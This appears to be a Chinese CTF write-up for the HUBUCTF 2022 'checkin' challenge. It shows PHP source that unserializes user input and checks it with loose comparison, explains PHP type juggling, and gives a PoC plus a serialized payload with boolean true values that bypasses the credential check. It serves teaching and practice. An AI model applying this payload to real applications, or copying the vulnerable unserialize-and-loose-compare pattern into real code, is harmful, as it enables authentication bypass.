目录

[HUBUCTF 2022 新生赛]checkin

目录

[HUBUCTF 2022 新生赛]checkin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
show_source(__FILE__);

$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 

// 包含"flag.php"文件的内容
include("flag.php");// flag.php 里的 $username 和 $password 会覆盖原有的 $username 和 $password 

// 从GET请求中获取'info'参数(如果存在)
$info = isset($_GET['info']) ? $_GET['info'] : "";

// 反序列化来自'info'参数的数据
$data_unserialize = unserialize($info);

// 检查反序列化的数据是否与 flag.php 里的 $username 和 $password 相等(这里是弱比较)
if ($data_unserialize['username'] == $username && $data_unserialize['password'] == $password) {
    echo $flag;
} else {
    echo "username or password error!";
}
?>

$info = isset($_GET['info']) ? $_GET['info'] : ""; 是一个三元运算符的用法。它用于检查 $_GET['info'] 是否被设置,如果设置了,则将其值赋给变量 $info,否则将空字符串赋给 $info

如果 isset($_GET['info']) 为 true

  • $info = $_GET['info'];

如果 isset($_GET['info']) 为 false

  • $info = “”;`

根据代码中的$data_unserialize['username']判断$data_unserialize为数组,即传入 info 参数的内容为数组

由于无法知道 flag.php 里的 $username$password 的内容是什么,想要得到 flag 需要利用 php 的弱类型比较(==)的特性:布尔值 true 在进行比较时,会被认为等于任何非空的值(包括非零的数值、非空字符串等)

综上写出 poc :

1
2
3
4
<?php
$a = array("username" => true, "password" => true);
echo serialize($a);
?>

得到 payload :a:2:{s:8:"username";b:1;s:8:"password";b:1;}

https://pic.imgdb.cn/item/65558e5ec458853aefa9db11.jpg